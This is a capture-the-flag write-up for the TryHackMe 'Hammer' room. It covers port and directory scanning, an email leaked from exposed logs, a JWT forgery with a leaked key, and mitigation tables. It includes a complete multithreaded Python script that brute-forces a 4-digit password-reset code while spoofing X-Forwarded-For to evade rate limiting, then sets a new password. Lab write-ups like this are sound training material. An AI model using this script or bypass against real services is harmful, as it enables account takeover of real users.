Post

TryHackMe: Hammer

TryHackMe: Hammer

The room simulates a vulnerable web application with multiple exposed attack surfaces—authentication flows, password reset mechanisms, JWT misconfigurations, and log exposure. This write-up follows a Red Team–oriented mindset: comprehensive reconnaissance, stealthy data harvesting, and systematic exploitation across the authentication chain.


1️⃣ Recon

1.1 Nmap

Conducted active reconnaissance to map the exposed service surface, identify software versions, configurations, and uncover preliminary attack vectors.

1
$ nmap -sS -sV -sC -p- -T4 -n -Pn 10.10.229.71 -oN nmap-hammer.txt
1
2
3
4
5
6
7
8
9
10
11
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
1337/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Login
MAC Address: 02:15:9F:72:5E:5D (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Key findings:

1
2
22/tcp   OpenSSH 8.2p1 (Ubuntu)
1337/tcp Apache 2.4.41 (Ubuntu)

Port 1337 exposes a login interface.

26_hammer.webp

Attempted authentication using random credentials to observe the application’s error-handling behavior.

21_hammer.webp

The system includes a password recovery workflow accessible via the login page.

22_hammer.webp

Submitted random email addresses to test how strictly the input is validated during authentication.

20_hammer.webp

Used Gobuster to enumerate directories and uncover the underlying structure of the application.

1.2 Gobuster (root dir)

1
$ gobuster dir -u http://10.10.229.71:1337 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,bak,zip -t 40 -o gobuster-hammer.txt
1
2
3
4
5
6
7
8
9
10
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/config.php           (Status: 200) [Size: 0]
/javascript           (Status: 301) [Size: 326] [--> http://10.10.229.71:1337/javascript/]
/index.php            (Status: 200) [Size: 1326]
/phpmyadmin           (Status: 301) [Size: 326] [--> http://10.10.229.71:1337/phpmyadmin/]
/dashboard.php        (Status: 302) [Size: 0] [--> logout.php]
/vendor               (Status: 301) [Size: 322] [--> http://10.10.229.71:1337/vendor/]
/server-status        (Status: 403) [Size: 280]
/.php                 (Status: 403) [Size: 280]
/reset_password.php   (Status: 200) [Size: 1664]

Key findings from enumeration included several accessible and sensitive paths.

1
2
3
4
5
6
/logout.php
/config.php
/index.php
/phpmyadmin
/reset_password.php
/vendor

Note: The /index.php source code may contain developer comments worth reviewing.


2️⃣ Enumerating Developer Comments — hmr_* Paths

Viewing the page source revealed developer comments disclosing hidden directories, suggesting a path pattern: hmr_*.

25_hammer.webp

Launched a directory fuzzing attack to enumerate these paths.

1
$ ffuf -u 'http://10.10.229.71:1337/hmr_FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -mc 200,301,302,403 -t 40

Results uncovered several valid endpoints, including a critical log exposure:

1
2
3
4
/hmr_logs    200 ★ log leak
/hmr_js      301
/hmr_css     301
/hmr_images  301

24_hammer.webp

The exposed logs revealed an internal email address associated with a developer.

23_hammer.webp


3️⃣ Log Leaking ➜ Extracted a valid email address

Extracted valid email: tester@hammer.thm

1
tester@hammer.thm

This email is accepted in the Reset Password flow, confirming its legitimacy.

19_hammer.webp

The reset form requests a 4-digit recovery code, valid for 180 seconds.

18_hammer.webp

Submitted random recovery codes to analyze how the system responds to invalid inputs.

17_hammer.webp


4️⃣ Password Reset Brute-Force with 4-Digit OTP

4.1 Manual Testing via Burp Suite

Observed the rate-limiting mechanism enforced during OTP submission.

16_hammer.webp

Key observations:

  • POST request to /reset_password.php with { email=tester@hammer.thm }
  • Server responds with a form expecting a recovery_code and hidden field s
  • The Rate-Limit-Pending header increases with each attempt, suggesting IP-based throttling

Testing with custom X‑Forwarded‑For headers confirmed that the Rate-Limit-Pending value is IP-dependent.

15_hammer.webp

4.2 Bypass rate‑limit via X‑Forwarded‑For + multithread script

Exploited the server’s trust in the X‑Forwarded‑For header to inject randomized IPs and obfuscate the rate-limit counter.

1
2
3
4
# br.py
...
headers={"X-Forwarded-For": f"127.0.{randint(0,255)}.{randint(0,255)}"}
...

Launched a multi-threaded brute-force attack to rapidly cycle through all 4-digit recovery codes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
python
import requests
import random
import threading
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

url = "http://10.10.229.71:1337/reset_password.php"
num_threads = 50
stop_flag = threading.Event()

retry_strategy = Retry(
    total=5,
    backoff_factor=1,
    status_forcelist=[500, 502, 503, 504],
    raise_on_status=False,
)
adapter = HTTPAdapter(max_retries=retry_strategy)
session = requests.Session()
session.mount("http://", adapter)

cookies = {
    "PHPSESSID": "g6r2fk6cao3jhm3db7hcq1skc8"
}

def brute_force_code(start, end):
    for code in range(start, end):
        if stop_flag.is_set():
            return
        code_str = f"{code:04d}"
        try:
            r = session.post(
                url,
                data={"recovery_code": code_str, "s": "180"},
                headers={
                    "X-Forwarded-For": f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}"
                },
                timeout=10,
                allow_redirects=False,
                cookies=cookies
            )
            if stop_flag.is_set():
                return
            elif r.status_code == 302:
                stop_flag.set()
                print("[-] Timeout or redirect reached. Try again.")
                return
            elif "Invalid or expired recovery code!" not in r.text:
                stop_flag.set()
                print(f"[+] Found the recovery code: {code_str}")
                print("[+] Sending the new password request.")
                new_password = "Password123@"
                session.post(
                    url,
                    data={
                        "new_password": new_password,
                        "confirm_password": new_password
                    },
                    headers={
                        "X-Forwarded-For": f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}"
                    },
                    cookies=cookies
                )
                print(f"[+] Password is set to {new_password}")
                return

        except requests.exceptions.RequestException as e:
            print(f"[!] Error: {e}")
            continue

def main():
    print("[+] Sending the password reset request.")
    session.post(url, data={"email": "tester@hammer.thm"}, cookies=cookies)

    print("[+] Starting brute-force of recovery code.")
    code_range = 10000
    step = code_range // num_threads

    threads = []
    for i in range(num_threads):
        start = i * step
        end = start + step
        thread = threading.Thread(target=brute_force_code, args=(start, end))
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

if __name__ == "__main__":
    main()

Run the script:

1
2
3
4
5
6
$ python3 brute_otp.py
[+] Sending the password reset request.
[+] Starting brute-force of recovery code.
[+] Found the recovery code: 5559
[+] Sending the new password request.
[+] Password is set to Password123@

Technique: When the correct recovery code is entered, the server allows a password reset without requiring any additional verification.


5️⃣ Login → Dashboard & Flag #1

1
2
3
User : tester@hammer.thm
Pass : Password123@
URL  : /dashboard.php

14_hammer.webp

The dashboard banner reveals the first flag.

13_hammer.webp

The interface provides a JSON-based command form, with certain commands restricted.

11_hammer.webp 9_hammer.webp

The ls command is permitted, allowing internal file listing.

12_hammer.webp 5_hammer.webp

The application automatically logs the user out after command execution.

10_hammer.webp


6️⃣ Extract Private Key ➜ Forge JWT

6.1 Retrieved and read the file /188ade1.key

Extracted the secret key:

1
56058354efb3daa97ebab0efabd7a7d7

5_hammer.webp

Decoded JWT:

2_hammer.webp

Modified the payload and re-encoded the JWT.

1_hammer.webp

6.3 Forge Admin Token

Injected the forged token into both Header and Cookie for testing.

4_hammer.webp

The server returned execution output from execute_command.php, confirming admin privileges.


7️⃣ Get Flag #2

3_hammer.webp


8️⃣ Key Security Issues

VulnerabilityDetailsRecommended Fix
Directory Listing/hmr_logs/ exposes server logsDisable indexing (Options -Indexes)
Insecure Rate LimitingIP-based throttling can be bypassed easilyCombine with session tokens or captchas
4-Digit OTPSmall space, brute-force feasibleIncrease length, use TOTP, add lockout
Secret Key DisclosureKey file stored in webrootMove outside webroot, restrict permissions
JWT Misusekid vulnerable to path injectionEnforce strict kid allowlist or use JWKS

🧠 Summary

The Hammer room simulates a modern web application environment with critical authentication flaws, minimal input validation, and insecure recovery mechanisms. Through a Red Team–driven approach, the following attack chain was executed:

  • Mapped exposed services (SSH + HTTP) and identified non-standard port usage.
  • Uncovered sensitive directories via forced browsing (Gobuster, ffuf), revealing developer comments and internal logs.
  • Extracted valid credentials from leaked logs without triggering any alarms.
  • Circumvented OTP-based rate limiting by spoofing X-Forwarded-For headers and leveraging a multi-threaded brute-force strategy.
  • Exploited improper JWT handling to forge admin tokens using a publicly accessible key.
  • Achieved full access to the dashboard and extracted both flags without user interaction or privilege escalation.

This scenario reinforces the real-world risk of small oversights—such as exposed logs or weak rate-limiting logic—when chained effectively by a stealthy adversary.


🛡️ Mitigation & Recommendations

Risk AreaRecommendation
Directory ExposureDisable directory listing on web server (Options -Indexes)
Log DisclosureNever store sensitive logs inside the webroot. Enforce strict permissions.
Authentication BypassUse email verification + CAPTCHA during reset flows.
Rate-LimitingImplement per-user and per-session rate limits. Avoid relying on IP alone.
OTP Brute-ForceUse longer codes (6+ digits) and time-based tokens (TOTP).
JWT Key ManagementStore secrets securely outside the deploy path. Rotate keys regularly.
JWT Verification LogicRestrict alg and kid fields to a strict, pre-defined allowlist.

Regular security reviews, logging anomaly detection, and internal code audits are essential to prevent similar compromise vectors.


🖚 This engagement demonstrates how minor flaws, when chained with precision and stealth, can lead to full application compromise.

This post is licensed under CC BY 4.0 by the author.